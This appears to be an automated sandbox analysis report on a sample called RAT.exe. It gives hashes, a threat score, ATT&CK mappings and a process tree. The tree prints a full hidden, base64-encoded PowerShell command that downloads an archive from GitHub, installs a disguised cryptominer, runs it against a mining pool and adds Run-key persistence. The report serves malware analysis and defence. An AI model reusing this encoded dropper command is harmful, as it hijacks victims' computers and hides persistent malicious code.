8d8278c9e8cd285f5c1c8d25696222f91672b912d110c797777b1029625cfb98

General

Target
RAT.exe
Size 3.2MB
Sample261011-dp65caxt4k
SHA256 8d8278c9e8cd285f5c1c8d25696222f91672b912d110c797777b1029625cfb98
MD5 b819e705c01444e8116d78d91f4d6d37
SHA1 07b32e9edc2047bc35dff27b8daa9b8314a10a18
SHA512 0761ce4586d1dcd5ea628803716090a194d57e2dd8934d980e600640bbce3faf117873749089bac9467d31502edfceba398b8f4e296caff6f0013f800811a983
SSDEEP 49152:tmm2RYOVgnnAtznzYtrUQBtCI756vmsE/ThV24L5HBTVhpCVjiVrSqqHq:tm0W3W5HBJjCVjY5qK
TLSH
T13DF59E2BA3E901ACC0B3C07D89475507EBB2344613A1EADB56A085665FB7BE05F7E730
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1144	powershell.exe
3	1144	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1144	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	RAT.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1144	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 1144	1716	RAT.exe	82

C:\Users\Admin\AppData\Local\Temp\RAT.exe
"C:\Users\Admin\AppData\Local\Temp\RAT.exe"
1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABkAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQAiADsAJABwAD0AIgAkAGQAXABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAiADsAbgBpACAAJABkACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAJABtAGsAPQB7ACAAJAB3AD0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAHwAPwB7ACQAXwAuAE4AYQBtAGUAfQB8AHMAZQBsAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBOAGEAbQBlADsAaQBmACgAJAB3ACkAewAkAHcAPQAoACQAdwAgAC0AcgBlAHAAbABhAGMAZQAgACcAWwBeAEEALQBaAGEALQB6ADAALQA5AF0AJwAsACcAJwApAH0AZQBsAHMAZQB7ACQAdwA9ACcAJwB9ADsAaQBmACgAJAB3AC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADIAKQB7ACQAdwA9ACgALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAKwAoADYANQAuAC4AOQAwACkAfAAlAHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA2ACkAKQB9ADsAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiACAAKAAnAFMAZQB0ACAAcwBoAD0AQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApACAAOgAgAHMAaAAuAEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAPQBzAGgALgBFAHgAcABhAG4AZABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAUwB0AHIAaQBuAGcAcwAoACIAJQBBAFAAUABEAEEAVABBACUAXABNAGkAYwByAG8AcwBvAGYAdABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAIgApACAAOgAgAHMAaAAuAFIAdQBuACAAIgBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ALQB1AHIAbAAgAHMAdAByAGEAdAB1AG0AKwBzAHMAbAA6AC8ALwBwAHIAbAAuAGsAcgB5AHAAdABlAHgALgBuAGUAdAB3AG8AcgBrADoAOAAwADQAOAAgAC0ALQB1AHMAZQByACAAcAByAGwAMQBwAGEAbABqAGMAYwA5AHkANwA0AHcAZQBjADMAMAB3AGUAdQB2AHcAZABtADIAOQBrADkAegAwADQAOQB6AHYAaAB4AHgAZAAzAGYAZwB6AGcAcABwADQANgBhAHcAOQBzAHkAcABmAHEAbAAyAGYAeQBqAHUALwAnACsAJAB3ACsAJwAgAC0ALQBnAHAAdQAtAGYAYQBuACAANgAwACIALAAgADAALAAgAEYAYQBsAHMAZQAnACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEEAUwBDAEkASQA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAIAAoACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAnACsAJABkACsAJwBcAHMAdABhAHIAdAAuAHYAYgBzACIAJwApADsAJABzAGEAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEUAeABwAGwAbwByAGUAcgBcAFMAdABhAHIAdAB1AHAAQQBwAHAAcgBvAHYAZQBkAFwAUgB1AG4AJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABzAGEAKQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHMAYQAgAC0ATgBhAG0AZQAgAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBCAHIAbwBrAGUAcgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABCAGkAbgBhAHIAeQAgAC0AVgBhAGwAdQBlACAAKABbAGIAeQB0AGUAWwBdAF0AKAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQApACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfABPAHUAdAAtAE4AdQBsAGwAfQAgAH0AOwAkAGwAawA9ACIAJABkAFwAYgBvAG8AdAAuAGwAbwBjAGsAIgA7ACQAZgBzAD0AJABuAHUAbABsADsAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgADEALgAuADEAMgAwACkAewB0AHIAeQB7ACQAZgBzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AE8AcABlAG4AKAAkAGwAawAsACcATwBwAGUAbgBPAHIAQwByAGUAYQB0AGUAJwAsACcAUgBlAGEAZABXAHIAaQB0AGUAJwAsACcATgBvAG4AZQAnACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAAfQB9ADsAaQBmACgALQBuAG8AdAAgACQAZgBzACkAewBlAHgAaQB0AH0AOwAkAHcAZAA9AGkAZgAoACQAZQBuAHYAOgB3AGkAbgBkAGkAcgApAHsAJABlAG4AdgA6AHcAaQBuAGQAaQByAH0AZQBsAHMAZQB7ACcAQwA6AFwAVwBpAG4AZABvAHcAcwAnAH0AOwAkAHIAdQBuAD0AJABmAGEAbABzAGUAOwBHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfAAlAHsAJABuAD0AJABfAC4ATgBhAG0AZQA7AHQAcgB5AHsAJABxAD0AJABfAC4AUABhAHQAaAB9AGMAYQB0AGMAaAB7ACQAcQA9ACcAJwB9ADsAaQBmACgAJABxACAALQBhAG4AZAAgACgAKAAkAHEAIAAtAGkAZQBxACAAJABwACkAIAAtAG8AcgAgACQAcQAuAFQAbwBMAG8AdwBlAHIAKAApAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACQAZAAuAFQAbwBMAG8AdwBlAHIAKAApACsAJwBcACcAKQAgAC0AbwByACAAKAAkAG4AIAAtAGkAZQBxACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAgAC0AYQBuAGQAIAAtAG4AbwB0ACAAJABxAC4AVABvAEwAbwB3AGUAcgAoACkALgBTAHQAYQByAHQAcwBXAGkAdABoACgAJAB3AGQALgBUAG8ATABvAHcAZQByACgAKQApACkAKQApAHsAJAByAHUAbgA9ACQAdAByAHUAZQB9AH0AOwBpAGYAKAAkAHIAdQBuACkAewAkAGsAdgA9ACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAG0AZQAgAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBCAHIAbwBrAGUAcgAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwA7AGkAZgAoACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAiACQAZABcAHMAdABhAHIAdAAuAHYAYgBzACIAKQApACAALQBvAHIAIAAoAC0AbgBvAHQAIAAkAGsAdgApACAALQBvAHIAIAAoAC0AbgBvAHQAIAAkAGsAdgAuAEMAbwBuAHQAYQBpAG4AcwAoACQAZAApACkAKQB7ACYAIAAkAG0AawB9ADsAZQB4AGkAdAB9ADsAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgADEALgAuADQAMAApAHsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHAAKQB7AHQAcgB5AHsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AEQAZQBsAGUAdABlACgAJABwACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAAfQB9AGUAbABzAGUAewBiAHIAZQBhAGsAfQB9ADsAJAB6AD0AIgAkAGQAXABrAC4AegBpAHAAIgA7AGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkAGkAZwBpAHQAYQBsAGYAbwByAGUAbgBzAGkAawBlAHIALwBtAHkAcgBlAGEAZABtAGUALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAGEAZABtAGUALgB6AGkAcAAnACAALQBPAHUAdABGAGkAbABlACAAJAB6ADsARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAJAB6ACAAJABkACAALQBGAG8AcgBjAGUAOwBNAG8AdgBlAC0ASQB0AGUAbQAgACIAJABkAFwAcgBlAGEAZABtAGUALgBtAGQAIgAgACQAcAAgAC0ARgBvAHIAYwBlADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB6ACwAIgAkAGQAXABTAHQAYQByAHQALQBQAGUAYQByAGwALgBiAGEAdAAiACwAIgAkAGQAXABTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAIgAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAJgAgACQAbQBrADsAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiAA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:3812

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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__PSScriptPolicyTest_ki2fgynk.5ok.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ki2fgynk.5ok.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1144-0-0x00000288CA840000-0x00000288CA850000-memory.dmp

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memory/1144-1-0x00000288CA840000-0x00000288CA850000-memory.dmp

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memory/1144-8-0x00000288B0EC0000-0x00000288B0EE2000-memory.dmp

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memory/1144-9-0x00000288CA840000-0x00000288CA850000-memory.dmp

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memory/1144-10-0x00000288CA840000-0x00000288CA850000-memory.dmp

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memory/1144-11-0x00000288CA840000-0x00000288CA850000-memory.dmp

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memory/1144-12-0x00000288CA840000-0x00000288CA850000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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